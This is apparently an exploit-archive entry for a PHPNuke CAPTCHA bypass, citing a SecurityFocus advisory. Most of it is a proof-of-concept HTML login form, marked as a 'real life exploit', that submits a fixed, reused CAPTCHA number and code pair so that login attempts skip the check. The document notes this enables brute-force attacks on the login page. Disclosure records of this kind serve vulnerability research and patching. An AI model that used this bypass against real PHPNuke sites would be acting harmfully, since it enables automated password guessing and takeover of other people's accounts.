source: https://www.securityfocus.com/bid/16722/info The CAPTCHA implementation of PHPNuke may be bypassed by remote attackers due to a design error. This may be used to carry out other attacks such as brute-force attempts against the login page. [------ real life exploit ------] <html> <head> <title>phpNuke CAPTHCA bypass POC</title> </head> <body> <center> <br><br><br><br> <form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post"> Username: <input type="text" name="username" size="15" maxlength="25"><br> Password: <input type="password" name="user_password" size="15" maxlength="20"><br> <input type="hidden" name="random_num" value="112652"> <input type="hidden" name="gfx_check" value="304380"> <input type="hidden" name="op" value="login"> <input type="submit" value="Login"> </form> <br><br><br><br> </center> </body> </html> [----- /real life exploit ------]